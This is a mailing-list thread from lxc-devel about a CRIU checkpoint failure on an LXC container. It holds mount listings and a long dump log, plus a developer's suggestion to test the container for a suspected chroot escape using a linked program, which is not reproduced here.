[lxc-devel] [CRIU] LXC DUMP ERROR

Serge Hallyn serge.hallyn at ubuntu.com
Fri Oct 3 15:00:49 UTC 2014


Quoting Andrew Vagin (avagin at parallels.com):
> On Sat, Sep 13, 2014 at 01:01:10AM +0530, beproject criu wrote:
> > I am trying to dump LXC container using following command
> > 
> > /sdcard # criu dump --root /usr/local/lib/lxc/rootfs/root --evasive-devices
> > --tc
> > p-established --file-locks -n net -n mnt -n ipc -n pid -vvvvvvvv -D data -o
> > dump
> > .log -t 79
> > 
> > but i get the following error :
> > 
> > Error (mount.c:517): Mount 58 (master_id: 12 shared_id: 0) has unreachable
> > sharing
> > 
> > I have attached the dump.log file with the mail containing full log.
> > 
> > Content of mountpoint are:
> >
> > /sdcard # lxc-attach -n L cat /proc/self/mountinfo
> > 16 16 0:2 / / rw - rootfs rootfs rw,size=373304k,nr_inodes=93326
> > 17 16 0:4 / /proc rw,relatime - proc proc rw
> > 18 16 0:11 / /sys rw,relatime - sysfs sysfs rw
> > 19 18 0:12 / /sys/fs/cgroup rw,relatime - cgroup none
> > rw,cpuset,debug,cpu,cpuacct,memory,devices,freezer,blkio,perf_event,clone_children
> > 20 18 0:6 / /sys/kernel/debug rw,relatime - debugfs none rw
> > 21 16 0:10 / /dev/pts rw,relatime - devpts devpts rw,mode=600,ptmxmode=000
> > 22 16 179:0 / /sdcard rw,relatime - ext3 /dev/mmcblk0 rw,data=ordered

Interesting.  So this looks like a real chromebook converted to ubuntu
or something?  Let's talk more about this particular machine on
lxc-devel as well.  This could be an interesting case.

We used to get extra mounts like this on fedora hosts.  I thought we had
finally licked that problem, but I'm not sure.  mwarfield would know
for certain.

> > 24 16 0:2 /usr/local/lib/lxc/rootfs /usr/local/lib/lxc/rootfs rw - rootfs
> > rootfs rw,size=373304k,nr_inodes=93326
> > 25 24 0:14 / /usr/local/lib/lxc/rootfs rw,relatime - tmpfs none rw,size=
> > 12k,mode=755
> > 35 25 179:0 /L/rootfs /usr/local/lib/lxc/rootfs/root rw,relatime shared:1 -
> > ext3 /dev/mmcblk0 rw,data=ordered
> > 36 35 0:13 / /usr/local/lib/lxc/rootfs/root/proc rw,relatime shared:2 - proc
> > none rw
> > 37 35 0:15 / /usr/local/lib/lxc/rootfs/root/sys rw,relatime shared:3 - sysfs
> > none rw
> > 26 35 0:16 / /usr/local/lib/lxc/rootfs/root/dev rw,nosuid,relatime shared:6 -
> > tmpfs tmpfs rw,mode=755
> > 27 26 0:10 / /usr/local/lib/lxc/rootfs/root/dev/pts rw,relatime shared:7 -
> > devpts devpts rw,mode=600,ptmxmode=000
> > 28 37 0:6 / /usr/local/lib/lxc/rootfs/root/sys/kernel/debug rw,relatime
> > shared:4 - debugfs debugfs rw
> > 29 37 0:17 / /usr/local/lib/lxc/rootfs/root/sys/fs/cgroup rw,relatime shared:5
> > - tmpfs none rw,mode=750,gid=1000
> > 30 35 0:18 / /usr/local/lib/lxc/rootfs/root/mnt/asec rw,relatime shared:8 -
> > tmpfs tmpfs rw,mode=755,gid=1000
> > 31 35 0:19 / /usr/local/lib/lxc/rootfs/root/mnt/obb rw,relatime shared:9 -
> > tmpfs tmpfs rw,mode=755,gid=1000
> > 32 35 31:0 / /usr/local/lib/lxc/rootfs/root/system ro,relatime shared:10 - ext4
> > /dev/block/mtdblock0 ro,data=ordered
> > 33 35 31:1 / /usr/local/lib/lxc/rootfs/root/data rw,nosuid,nodev,noatime
> > shared:11 - ext4 /dev/block/mtdblock1 rw,data=ordered
> > 34 35 31:2 / /usr/local/lib/lxc/rootfs/root/cache rw,nosuid,nodev,noatime
> > shared:12 - yaffs2 /dev/block/mtdblock2 rw
> 
> Sorry for late response.
> 
> riya khanna showed me this problem a few mounth ago. Look at the
> previous output. Do you expect to see so many mounts in a container? I
> think you are not. Actually a half of them doesn't belong to CT. They
> were inhereted from the host mount namespace. We are talking about this
> problem now with Serge in lxc-devel. I think this configuration is
> wrong, but I am not sure about this.
> 
> I have a suspicion, that we can escape from such containers.
> beproject and riya, could you execute the attached program in a
> container. This program will try to escape from it to the host mount
> tree.
> http://www.bpfh.net/simes/computing/chroot-break.html
> 
> If this program executes shell and gives you access to the host file
> system, my suspicion is true. In this case we will need to fix LXC and
> only then think how to support these containers in CRIU.
> 
> Thanks,
> Andrew.
> 
> 
> > 
> > Thanks.
> > 
> > encl(1).
> 
> > /sdcard # criu dump --root /usr/local/lib/lxc/rootfs/root --evasive-devices --tc
> > p-established --file-locks -n net -n mnt -n ipc -n pid -vvvvvvvv -D data -o dump
> > .log -t 79
> > 
> > /sdcard # cat data/dump.log 
> > (00.014845) ========================================
> > (00.023441) Dumping processes (pid: 79)
> > (00.023787) ========================================
> > (00.028273) Found anon-shmem device at 1
> > (00.030025) Reset 1554's dirty tracking
> > (00.031317)  ... done
> > (00.032221) Dirty tracking support is OFF
> > (00.032820) irmap: Searching irmap cache in work dir
> > (00.033102) irmap: Searching irmap cache in parent
> > (00.033290) irmap: No irmap cache
> > (00.033448) Writing image inventory (version 1)
> > (00.036496) Collected 1.pid namespace
> > (00.036853) Collected 2.net namespace
> > (00.037119) Collected 3.ipc namespace
> > (00.037392) Collected 4.uts namespace
> > (00.038549) Collected 5.mnt namespace
> > (00.038813) cg: Dumping cgroups for 1554
> > (00.040824) cg:  `- New css ID 1
> > (00.041042) cg:     `- [cpuset,debug,cpu,cpuacct,memory,devices,freezer,blkio,perf_event] -> [/]
> > (00.041228) cg: Set 1 is criu one
> > (00.045319) Seized task 79, state 1
> > (00.050020) Seized task 82, state 0
> > (00.053684) Collected 82 in 1 state
> > (00.054093) Seized task 329, state 0
> > (00.055834) 	Seizing 329's 351 thread
> > (00.057406) 	Seizing 329's 352 thread
> > (00.059006) 	Seizing 329's 353 thread
> > (00.059948) 	Seizing 329's 358 thread
> > (00.063195) Collected 329 in 1 state
> > (00.063433) Seized task 330, state 0
> > (00.065101) Collected 330 in 1 state
> > (00.065292) Seized task 331, state 0
> > (00.067225) Collected 331 in 1 state
> > (00.070061) Seized task 332, state 0
> > (00.071957) Collected 332 in 1 state
> > (00.072141) Seized task 333, state 0
> > (00.073258) 	Seizing 333's 363 thread
> > (00.074120) 	Seizing 333's 421 thread
> > (00.076397) Collected 333 in 1 state
> > (00.076590) Seized task 335, state 0
> > (00.078609) Collected 335 in 1 state
> > (00.078851) Seized task 338, state 0
> > (00.079918) 	Seizing 338's 690 thread
> > (00.080689) 	Seizing 338's 691 thread
> > (00.081428) 	Seizing 338's 692 thread
> > (00.082184) 	Seizing 338's 693 thread
> > (00.082955) 	Seizing 338's 694 thread
> > (00.083703) 	Seizing 338's 695 thread
> > (00.084419) 	Seizing 338's 696 thread
> > (00.089769) Collected 338 in 1 state
> > (00.090027) Seized task 339, state 0
> > (00.091760) Collected 339 in 1 state
> > (00.091943) Seized task 341, state 0
> > (00.093031) 	Seizing 341's 407 thread
> > (00.093837) 	Seizing 341's 408 thread
> > (00.094803) 	Seizing 341's 409 thread
> > (00.096147) 	Seizing 341's 423 thread
> > (00.097164) 	Seizing 341's 424 thread
> > (00.098942) 	Seizing 341's 425 thread
> > (00.100421) 	Seizing 341's 426 thread
> > (00.101326) 	Seizing 341's 441 thread
> > (00.103974) 	Seizing 341's 797 thread
> > (00.105055) 	Seizing 341's 1059 thread
> > (00.115344) Collected 341 in 1 state
> > (00.115653) Seized task 342, state 0
> > (00.116861) 	Seizing 342's 362 thread
> > (00.120989) Collected 342 in 1 state
> > (00.121289) Seized task 343, state 0
> > (00.122518) 	Seizing 343's 436 thread
> > (00.124800) Collected 343 in 1 state
> > (00.125026) Seized task 345, state 0
> > (00.126358) 	Seizing 345's 447 thread
> > (00.127340) 	Seizing 345's 448 thread
> > (00.128315) 	Seizing 345's 449 thread
> > (00.129123) 	Seizing 345's 450 thread
> > (00.129928) 	Seizing 345's 452 thread
> > (00.130679) 	Seizing 345's 456 thread
> > (00.131403) 	Seizing 345's 770 thread
> > (00.132132) 	Seizing 345's 824 thread
> > (00.136261) Collected 345 in 1 state
> > (00.138210) Seized task 346, state 0
> > (00.140644) Collected 346 in 1 state
> > (00.140955) Seized task 347, state 0
> > (00.142956) Collected 347 in 1 state
> > (00.143163) Seized task 348, state 0
> > (00.144294) 	Seizing 348's 1484 thread
> > (00.145197) 	Seizing 348's 1485 thread
> > (00.146084) 	Seizing 348's 1486 thread
> > (00.146839) 	Seizing 348's 1487 thread
> > (00.148973) 	Seizing 348's 1490 thread
> > (00.155496) Seized task 705, state 0
> > (00.158285) 	Seizing 705's 708 thread
> > (00.159374) 	Seizing 705's 710 thread
> > (00.160252) 	Seizing 705's 713 thread
> > (00.161081) 	Seizing 705's 714 thread
> > (00.161926) 	Seizing 705's 715 thread
> > (00.162750) 	Seizing 705's 716 thread
> > (00.163571) 	Seizing 705's 717 thread
> > (00.164350) 	Seizing 705's 718 thread
> > (00.165245) 	Seizing 705's 719 thread
> > (00.166102) 	Seizing 705's 720 thread
> > (00.166938) 	Seizing 705's 721 thread
> > (00.167907) 	Seizing 705's 722 thread
> > (00.168835) 	Seizing 705's 723 thread
> > (00.169696) 	Seizing 705's 725 thread
> > (00.171710) 	Seizing 705's 726 thread
> > (00.173084) 	Seizing 705's 727 thread
> > (00.173964) 	Seizing 705's 728 thread
> > (00.174811) 	Seizing 705's 729 thread
> > (00.175714) 	Seizing 705's 730 thread
> > (00.176560) 	Seizing 705's 732 thread
> > (00.177674) 	Seizing 705's 738 thread
> > (00.179059) 	Seizing 705's 739 thread
> > (00.180419) 	Seizing 705's 744 thread
> > (00.182092) 	Seizing 705's 745 thread
> > (00.183722) 	Seizing 705's 752 thread
> > (00.184986) 	Seizing 705's 753 thread
> > (00.185990) 	Seizing 705's 757 thread
> > (00.186829) 	Seizing 705's 758 thread
> > (00.189810) 	Seizing 705's 759 thread
> > (00.190928) 	Seizing 705's 760 thread
> > (00.191770) 	Seizing 705's 761 thread
> > (00.192579) 	Seizing 705's 762 thread
> > (00.193792) 	Seizing 705's 763 thread
> > (00.195795) 	Seizing 705's 764 thread
> > (00.196868) 	Seizing 705's 765 thread
> > (00.198247) 	Seizing 705's 766 thread
> > (00.199260) 	Seizing 705's 767 thread
> > (00.200144) 	Seizing 705's 768 thread
> > (00.200978) 	Seizing 705's 769 thread
> > (00.201842) 	Seizing 705's 771 thread
> > (00.202867) 	Seizing 705's 772 thread
> > (00.203943) 	Seizing 705's 774 thread
> > (00.206264) 	Seizing 705's 775 thread
> > (00.207879) 	Seizing 705's 777 thread
> > (00.209263) 	Seizing 705's 778 thread
> > (00.210354) 	Seizing 705's 779 thread
> > (00.211992) 	Seizing 705's 795 thread
> > (00.213272) 	Seizing 705's 796 thread
> > (00.214253) 	Seizing 705's 798 thread
> > (00.215155) 	Seizing 705's 800 thread
> > (00.215976) 	Seizing 705's 807 thread
> > (00.216807) 	Seizing 705's 816 thread
> > (00.217901) 	Seizing 705's 866 thread
> > (00.218890) 	Seizing 705's 887 thread
> > (00.220023) 	Seizing 705's 893 thread
> > (00.221339) 	Seizing 705's 895 thread
> > (00.226095) 	Seizing 705's 896 thread
> > (00.227674) 	Seizing 705's 923 thread
> > (00.228737) 	Seizing 705's 924 thread
> > (00.229608) 	Seizing 705's 962 thread
> > (00.230441) 	Seizing 705's 1039 thread
> > (00.231235) 	Seizing 705's 1042 thread
> > (00.232045) 	Seizing 705's 1189 thread
> > (00.232878) 	Seizing 705's 1327 thread
> > (00.233850) 	Seizing 705's 1328 thread
> > (00.261262) Collected 705 in 1 state
> > (00.261624) Seized task 780, state 0
> > (00.263775) 	Seizing 780's 786 thread
> > (00.264905) 	Seizing 780's 787 thread
> > (00.266324) 	Seizing 780's 788 thread
> > (00.268092) 	Seizing 780's 789 thread
> > (00.269140) 	Seizing 780's 790 thread
> > (00.269967) 	Seizing 780's 791 thread
> > (00.270750) 	Seizing 780's 792 thread
> > (00.271507) 	Seizing 780's 793 thread
> > (00.272269) 	Seizing 780's 794 thread
> > (00.273039) 	Seizing 780's 814 thread
> > (00.275112) 	Seizing 780's 815 thread
> > (00.275988) 	Seizing 780's 867 thread
> > (00.276763) 	Seizing 780's 996 thread
> > (00.279454) 	Seizing 780's 997 thread
> > (00.280625) 	Seizing 780's 1060 thread
> > (00.281430) 	Seizing 780's 1061 thread
> > (00.282223) 	Seizing 780's 1068 thread
> > (00.283136) 	Seizing 780's 1185 thread
> > (00.292004) Collected 780 in 1 state
> > (00.292275) Seized task 848, state 0
> > (00.293640) 	Seizing 848's 850 thread
> > (00.294501) 	Seizing 848's 851 thread
> > (00.295360) 	Seizing 848's 852 thread
> > (00.296195) 	Seizing 848's 853 thread
> > (00.297006) 	Seizing 848's 856 thread
> > (00.298133) 	Seizing 848's 857 thread
> > (00.299113) 	Seizing 848's 860 thread
> > (00.299953) 	Seizing 848's 861 thread
> > (00.300783) 	Seizing 848's 862 thread
> > (00.301580) 	Seizing 848's 1004 thread
> > (00.309911) Collected 848 in 1 state
> > (00.310195) Seized task 902, state 0
> > (00.311420) 	Seizing 902's 907 thread
> > (00.312211) 	Seizing 902's 908 thread
> > (00.312987) 	Seizing 902's 909 thread
> > (00.313742) 	Seizing 902's 912 thread
> > (00.314475) 	Seizing 902's 913 thread
> > (00.315187) 	Seizing 902's 914 thread
> > (00.315912) 	Seizing 902's 916 thread
> > (00.316652) 	Seizing 902's 919 thread
> > (00.319161) 	Seizing 902's 920 thread
> > (00.324459) Collected 902 in 1 state
> > (00.324680) Seized task 925, state 0
> > (00.327589) 	Seizing 925's 929 thread
> > (00.328620) 	Seizing 925's 932 thread
> > (00.329450) 	Seizing 925's 933 thread
> > (00.330220) 	Seizing 925's 934 thread
> > (00.331012) 	Seizing 925's 935 thread
> > (00.331771) 	Seizing 925's 936 thread
> > (00.332529) 	Seizing 925's 937 thread
> > (00.333267) 	Seizing 925's 938 thread
> > (00.334058) 	Seizing 925's 939 thread
> > (00.334814) 	Seizing 925's 995 thread
> > (00.335654) 	Seizing 925's 1000 thread
> > (00.336462) 	Seizing 925's 1003 thread
> > (00.337201) 	Seizing 925's 1005 thread
> > (00.338763) 	Seizing 925's 1006 thread
> > (00.339621) 	Seizing 925's 1007 thread
> > (00.340459) 	Seizing 925's 1008 thread
> > (00.341211) 	Seizing 925's 1016 thread
> > (00.342007) 	Seizing 925's 1018 thread
> > (00.342869) 	Seizing 925's 1041 thread
> > (00.345217) 	Seizing 925's 1321 thread
> > (00.346776) 	Seizing 925's 1322 thread
> > (00.348640) 	Seizing 925's 1323 thread
> > (00.350908) 	Seizing 925's 1408 thread
> > (00.352226) 	Seizing 925's 1409 thread
> > (00.353177) 	Seizing 925's 1410 thread
> > (00.366936) Collected 925 in 1 state
> > (00.367214) Seized task 940, state 0
> > (00.368686) 	Seizing 940's 943 thread
> > (00.369532) 	Seizing 940's 944 thread
> > (00.370303) 	Seizing 940's 947 thread
> > (00.371030) 	Seizing 940's 949 thread
> > (00.371807) 	Seizing 940's 950 thread
> > (00.372551) 	Seizing 940's 952 thread
> > (00.373292) 	Seizing 940's 953 thread
> > (00.374019) 	Seizing 940's 955 thread
> > (00.374760) 	Seizing 940's 956 thread
> > (00.375522) 	Seizing 940's 994 thread
> > (00.376249) 	Seizing 940's 1001 thread
> > (00.383407) Collected 940 in 1 state
> > (00.383676) Seized task 964, state 0
> > (00.385045) 	Seizing 964's 968 thread
> > (00.385940) 	Seizing 964's 969 thread
> > (00.386795) 	Seizing 964's 972 thread
> > (00.388369) 	Seizing 964's 973 thread
> > (00.389825) 	Seizing 964's 974 thread
> > (00.391558) 	Seizing 964's 975 thread
> > (00.392881) 	Seizing 964's 976 thread
> > (00.393876) 	Seizing 964's 977 thread
> > (00.394720) 	Seizing 964's 978 thread
> > (00.395534) 	Seizing 964's 1010 thread
> > (00.396386) 	Seizing 964's 1013 thread
> > (00.397206) 	Seizing 964's 1014 thread
> > (00.399949) 	Seizing 964's 1022 thread
> > (00.407217) Collected 964 in 1 state
> > (00.407643) Seized task 1023, state 0
> > (00.409157) 	Seizing 1023's 1026 thread
> > (00.410112) 	Seizing 1023's 1027 thread
> > (00.411008) 	Seizing 1023's 1030 thread
> > (00.411901) 	Seizing 1023's 1031 thread
> > (00.412763) 	Seizing 1023's 1033 thread
> > (00.413801) 	Seizing 1023's 1034 thread
> > (00.414702) 	Seizing 1023's 1035 thread
> > (00.416860) 	Seizing 1023's 1036 thread
> > (00.454043) 	Seizing 1023's 1037 thread
> > (00.474336) 	Seizing 1023's 1048 thread
> > (00.476450) 	Seizing 1023's 1049 thread
> > (00.478820) 	Seizing 1023's 1242 thread
> > (00.479900) 	Seizing 1023's 1243 thread
> > (00.480807) 	Seizing 1023's 1262 thread
> > (00.481698) 	Seizing 1023's 1371 thread
> > (00.482627) 	Seizing 1023's 1389 thread
> > (00.483513) 	Seizing 1023's 1390 thread
> > (00.484401) 	Seizing 1023's 1391 thread
> > (00.485261) 	Seizing 1023's 1392 thread
> > (00.486277) 	Seizing 1023's 1394 thread
> > (00.487132) 	Seizing 1023's 1407 thread
> > (00.488250) 	Seizing 1023's 1421 thread
> > (00.489113) 	Seizing 1023's 1546 thread
> > (00.501041) Collected 1023 in 1 state
> > (00.501329) Seized task 1062, state 0
> > (00.502799) 	Seizing 1062's 1069 thread
> > (00.503723) 	Seizing 1062's 1070 thread
> > (00.504609) 	Seizing 1062's 1071 thread
> > (00.505540) 	Seizing 1062's 1072 thread
> > (00.508091) 	Seizing 1062's 1073 thread
> > (00.509294) 	Seizing 1062's 1074 thread
> > (00.510214) 	Seizing 1062's 1075 thread
> > (00.511048) 	Seizing 1062's 1076 thread
> > (00.511905) 	Seizing 1062's 1077 thread
> > (00.513293) 	Seizing 1062's 1097 thread
> > (00.520320) Collected 1062 in 1 state
> > (00.520591) Seized task 1078, state 0
> > (00.522104) 	Seizing 1078's 1081 thread
> > (00.523085) 	Seizing 1078's 1083 thread
> > (00.525468) 	Seizing 1078's 1085 thread
> > (00.526404) 	Seizing 1078's 1086 thread
> > (00.527841) 	Seizing 1078's 1087 thread
> > (00.529963) 	Seizing 1078's 1089 thread
> > (00.530947) 	Seizing 1078's 1090 thread
> > (00.531816) 	Seizing 1078's 1091 thread
> > (00.532634) 	Seizing 1078's 1092 thread
> > (00.533422) 	Seizing 1078's 1123 thread
> > (00.534324) 	Seizing 1078's 1124 thread
> > (00.535273) 	Seizing 1078's 1125 thread
> > (00.536139) 	Seizing 1078's 1126 thread
> > (00.536977) 	Seizing 1078's 1128 thread
> > (00.538259) 	Seizing 1078's 1141 thread
> > (00.546217) Collected 1078 in 1 state
> > (00.546474) Seized task 1107, state 0
> > (00.548103) 	Seizing 1107's 1111 thread
> > (00.549111) 	Seizing 1107's 1114 thread
> > (00.550071) 	Seizing 1107's 1116 thread
> > (00.550961) 	Seizing 1107's 1117 thread
> > (00.551835) 	Seizing 1107's 1118 thread
> > (00.552697) 	Seizing 1107's 1119 thread
> > (00.553609) 	Seizing 1107's 1120 thread
> > (00.555035) 	Seizing 1107's 1121 thread
> > (00.556644) 	Seizing 1107's 1122 thread
> > (00.559954) 	Seizing 1107's 1178 thread
> > (00.565329) Collected 1107 in 1 state
> > (00.565556) Seized task 1127, state 0
> > (00.566904) 	Seizing 1127's 1131 thread
> > (00.568397) 	Seizing 1127's 1135 thread
> > (00.570665) 	Seizing 1127's 1136 thread
> > (00.571745) 	Seizing 1127's 1137 thread
> > (00.572667) 	Seizing 1127's 1138 thread
> > (00.573660) 	Seizing 1127's 1139 thread
> > (00.574583) 	Seizing 1127's 1140 thread
> > (00.576785) 	Seizing 1127's 1142 thread
> > (00.577987) 	Seizing 1127's 1143 thread
> > (00.578821) 	Seizing 1127's 1165 thread
> > (00.579742) 	Seizing 1127's 1166 thread
> > (00.585237) Collected 1127 in 1 state
> > (00.585477) Seized task 1150, state 0
> > (00.586842) 	Seizing 1150's 1156 thread
> > (00.588230) 	Seizing 1150's 1157 thread
> > (00.589213) 	Seizing 1150's 1158 thread
> > (00.590110) 	Seizing 1150's 1159 thread
> > (00.590959) 	Seizing 1150's 1160 thread
> > (00.591829) 	Seizing 1150's 1161 thread
> > (00.594166) 	Seizing 1150's 1162 thread
> > (00.595309) 	Seizing 1150's 1163 thread
> > (00.596379) 	Seizing 1150's 1164 thread
> > (00.598100) 	Seizing 1150's 1171 thread
> > (00.599711) 	Seizing 1150's 1273 thread
> > (00.606396) Collected 1150 in 1 state
> > (00.606623) Seized task 1209, state 0
> > (00.608281) 	Seizing 1209's 1215 thread
> > (00.610803) 	Seizing 1209's 1216 thread
> > (00.613864) 	Seizing 1209's 1217 thread
> > (00.615610) 	Seizing 1209's 1218 thread
> > (00.616709) 	Seizing 1209's 1219 thread
> > (00.617803) 	Seizing 1209's 1220 thread
> > (00.618814) 	Seizing 1209's 1221 thread
> > (00.619734) 	Seizing 1209's 1222 thread
> > (00.620545) 	Seizing 1209's 1223 thread
> > (00.621299) 	Seizing 1209's 1240 thread
> > (00.628277) Collected 1209 in 1 state
> > (00.628544) Seized task 1224, state 0
> > (00.630025) 	Seizing 1224's 1230 thread
> > (00.630939) 	Seizing 1224's 1231 thread
> > (00.631926) 	Seizing 1224's 1232 thread
> > (00.632966) 	Seizing 1224's 1233 thread
> > (00.633966) 	Seizing 1224's 1234 thread
> > (00.634855) 	Seizing 1224's 1235 thread
> > (00.635815) 	Seizing 1224's 1236 thread
> > (00.636747) 	Seizing 1224's 1237 thread
> > (00.638190) 	Seizing 1224's 1238 thread
> > (00.639622) 	Seizing 1224's 1252 thread
> > (00.641332) 	Seizing 1224's 1260 thread
> > (00.642819) 	Seizing 1224's 1261 thread
> > (00.645068) 	Seizing 1224's 1356 thread
> > (00.651902) Collected 1224 in 1 state
> > (00.652870) Seized task 1244, state 0
> > (00.655092) 	Seizing 1244's 1247 thread
> > (00.656076) 	Seizing 1244's 1250 thread
> > (00.657245) 	Seizing 1244's 1253 thread
> > (00.658249) 	Seizing 1244's 1254 thread
> > (00.659122) 	Seizing 1244's 1255 thread
> > (00.661145) 	Seizing 1244's 1256 thread
> > (00.662425) 	Seizing 1244's 1257 thread
> > (00.663340) 	Seizing 1244's 1258 thread
> > (00.664146) 	Seizing 1244's 1259 thread
> > (00.664888) 	Seizing 1244's 1411 thread
> > (00.670458) Collected 1244 in 1 state
> > (00.670719) Seized task 1275, state 0
> > (00.672140) 	Seizing 1275's 1277 thread
> > (00.673168) 	Seizing 1275's 1282 thread
> > (00.674152) 	Seizing 1275's 1283 thread
> > (00.675086) 	Seizing 1275's 1284 thread
> > (00.675989) 	Seizing 1275's 1285 thread
> > (00.676847) 	Seizing 1275's 1286 thread
> > (00.679520) 	Seizing 1275's 1287 thread
> > (00.680840) 	Seizing 1275's 1289 thread
> > (00.681900) 	Seizing 1275's 1290 thread
> > (00.687838) Collected 1275 in 1 state
> > (00.688127) Seized task 1294, state 0
> > (00.689617) 	Seizing 1294's 1300 thread
> > (00.690586) 	Seizing 1294's 1301 thread
> > (00.691510) 	Seizing 1294's 1302 thread
> > (00.692454) 	Seizing 1294's 1303 thread
> > (00.693541) 	Seizing 1294's 1304 thread
> > (00.697757) 	Seizing 1294's 1305 thread
> > (00.698996) 	Seizing 1294's 1306 thread
> > (00.699966) 	Seizing 1294's 1307 thread
> > (00.700874) 	Seizing 1294's 1308 thread
> > (00.701815) 	Seizing 1294's 1315 thread
> > (00.702883) 	Seizing 1294's 1316 thread
> > (00.703881) 	Seizing 1294's 1317 thread
> > (00.705043) 	Seizing 1294's 1331 thread
> > (00.706191) 	Seizing 1294's 1332 thread
> > (00.715776) Collected 1294 in 1 state
> > (00.716072) Seized task 1339, state 0
> > (00.717758) 	Seizing 1339's 1342 thread
> > (00.718813) 	Seizing 1339's 1345 thread
> > (00.719777) 	Seizing 1339's 1347 thread
> > (00.720890) 	Seizing 1339's 1348 thread
> > (00.722226) 	Seizing 1339's 1349 thread
> > (00.723625) 	Seizing 1339's 1350 thread
> > (00.725207) 	Seizing 1339's 1351 thread
> > (00.727551) 	Seizing 1339's 1352 thread
> > (00.730672) 	Seizing 1339's 1353 thread
> > (00.731666) 	Seizing 1339's 1366 thread
> > (00.732687) 	Seizing 1339's 1367 thread
> > (00.733649) 	Seizing 1339's 1440 thread
> > (00.734552) 	Seizing 1339's 1441 thread
> > (00.735476) 	Seizing 1339's 1449 thread
> > (00.736372) 	Seizing 1339's 1450 thread
> > (00.743123) Collected 1339 in 1 state
> > (00.743370) Seized task 1374, state 0
> > (00.744759) 	Seizing 1374's 1375 thread
> > (00.747462) 	Seizing 1374's 1379 thread
> > (00.748555) 	Seizing 1374's 1380 thread
> > (00.749514) 	Seizing 1374's 1381 thread
> > (00.750494) 	Seizing 1374's 1382 thread
> > (00.752081) 	Seizing 1374's 1383 thread
> > (00.753594) 	Seizing 1374's 1387 thread
> > (00.755105) 	Seizing 1374's 1395 thread
> > (00.756466) 	Seizing 1374's 1396 thread
> > (00.758622) 	Seizing 1374's 1403 thread
> > (00.760332) 	Seizing 1374's 1405 thread
> > (00.769682) Collected 1374 in 1 state
> > (00.769986) Seized task 1412, state 0
> > (00.771525) 	Seizing 1412's 1418 thread
> > (00.772515) 	Seizing 1412's 1419 thread
> > (00.773496) 	Seizing 1412's 1420 thread
> > (00.774416) 	Seizing 1412's 1422 thread
> > (00.775317) 	Seizing 1412's 1423 thread
> > (00.776213) 	Seizing 1412's 1424 thread
> > (00.777129) 	Seizing 1412's 1425 thread
> > (00.778355) 	Seizing 1412's 1426 thread
> > (00.781983) 	Seizing 1412's 1427 thread
> > (00.782834) 	Seizing 1412's 1431 thread
> > (00.783795) 	Seizing 1412's 1434 thread
> > (00.784714) 	Seizing 1412's 1462 thread
> > (00.785669) 	Seizing 1412's 1473 thread
> > (00.792292) Collected 1412 in 1 state
> > (00.792550) Seized task 1455, state 0
> > (00.794001) 	Seizing 1455's 1461 thread
> > (00.794967) 	Seizing 1455's 1463 thread
> > (00.795889) 	Seizing 1455's 1464 thread
> > (00.796789) 	Seizing 1455's 1465 thread
> > (00.799392) 	Seizing 1455's 1467 thread
> > (00.800388) 	Seizing 1455's 1468 thread
> > (00.801301) 	Seizing 1455's 1469 thread
> > (00.802253) 	Seizing 1455's 1470 thread
> > (00.803068) 	Seizing 1455's 1472 thread
> > (00.803849) 	Seizing 1455's 1479 thread
> > (00.810681) Collected 1455 in 1 state
> > (00.810977) Seized task 1483, state 0
> > (00.812547) 	Seizing 1483's 1488 thread
> > (00.813536) 	Seizing 1483's 1489 thread
> > (00.815893) 	Seizing 1483's 1491 thread
> > (00.816926) 	Seizing 1483's 1492 thread
> > (00.818487) 	Seizing 1483's 1493 thread
> > (00.820878) 	Seizing 1483's 1494 thread
> > (00.821995) 	Seizing 1483's 1495 thread
> > (00.822973) 	Seizing 1483's 1496 thread
> > (00.823941) 	Seizing 1483's 1497 thread
> > (00.824880) 	Seizing 1483's 1500 thread
> > (00.825800) 	Seizing 1483's 1501 thread
> > (00.826726) 	Seizing 1483's 1502 thread
> > (00.827674) 	Seizing 1483's 1503 thread
> > (00.829272) 	Seizing 1483's 1504 thread
> > (00.830357) 	Seizing 1483's 1505 thread
> > (00.832659) 	Seizing 1483's 1508 thread
> > (00.833815) 	Seizing 1483's 1510 thread
> > (00.834771) 	Seizing 1483's 1511 thread
> > (00.835736) 	Seizing 1483's 1514 thread
> > (00.836662) 	Seizing 1483's 1515 thread
> > (00.837598) 	Seizing 1483's 1516 thread
> > (00.838726) 	Seizing 1483's 1518 thread
> > (00.849591) Collected 1483 in 1 state
> > (00.853377) Collected 348 in 1 state
> > (00.853609) Seized task 349, state 0
> > (00.855348) Collected 349 in 1 state
> > (00.855530) Seized task 350, state 0
> > (00.856619) 	Seizing 350's 355 thread
> > (00.859070) Collected 350 in 1 state
> > (00.860221) Collected 79 in 1 state
> > (00.860730) Will take pid namespace in the image
> > (00.860909) Collected 6.pid namespace
> > (00.861144) Will take net namespace in the image
> > (00.861287) Collected 7.net namespace
> > (00.861542) Will take ipc namespace in the image
> > (00.861693) Collected 8.ipc namespace
> > (00.862158) Will take uts namespace in the image
> > (00.862381) Collected 9.uts namespace
> > (00.862750) Will take mnt namespace in the image
> > (00.863166) Collected 10.mnt namespace
> > (00.878406) Collected 11.mnt namespace
> > (00.907124) Lock network
> > (00.907385) Running network-lock scripts
> > (00.911267) lockinfo: 1:POSIX ADVISORY READ 1150 1f:01:7423 128 128
> > (00.911822) lockinfo: 2:POSIX ADVISORY READ 1150 1f:01:7380 1073741826 1073742335
> > (00.912062) lockinfo: 3:POSIX ADVISORY READ 1150 1f:01:7363 128 128
> > (00.912295) lockinfo: 4:POSIX ADVISORY READ 1150 1f:01:7357 1073741826 1073742335
> > (00.912514) lockinfo: 5:POSIX ADVISORY READ 705 1f:01:14124 128 128
> > (00.912746) lockinfo: 6:POSIX ADVISORY READ 705 1f:01:14122 1073741826 1073742335
> > (00.913479) Dump MNT namespace (mountpoints) 11 via 348
> > (00.915345) 	type unsupported source /dev/mmcblk0 b300000 /L/rootfs @ ./ flags 280000 options data=ordered,
> > (00.916931) 	type proc source none d / @ ./proc flags 280000 options 
> > (00.917335) 	type sysfs source none f / @ ./sys flags 280000 options 
> > (00.917681) 	type debugfs source debugfs 6 / @ ./sys/kernel/debug flags 280000 options 
> > (00.918170) 	type tmpfs source none 11 / @ ./sys/fs/cgroup flags 280000 options mode=750,gid=1000,
> > (00.918431) 	type tmpfs source tmpfs 10 / @ ./dev flags 280002 options mode=755,
> > (00.918744) 	type devpts source devpts a / @ ./dev/pts flags 280000 options mode=600,ptmxmode=000,
> > (00.919016) 	type tmpfs source tmpfs 12 / @ ./mnt/asec flags 280000 options mode=755,gid=1000,
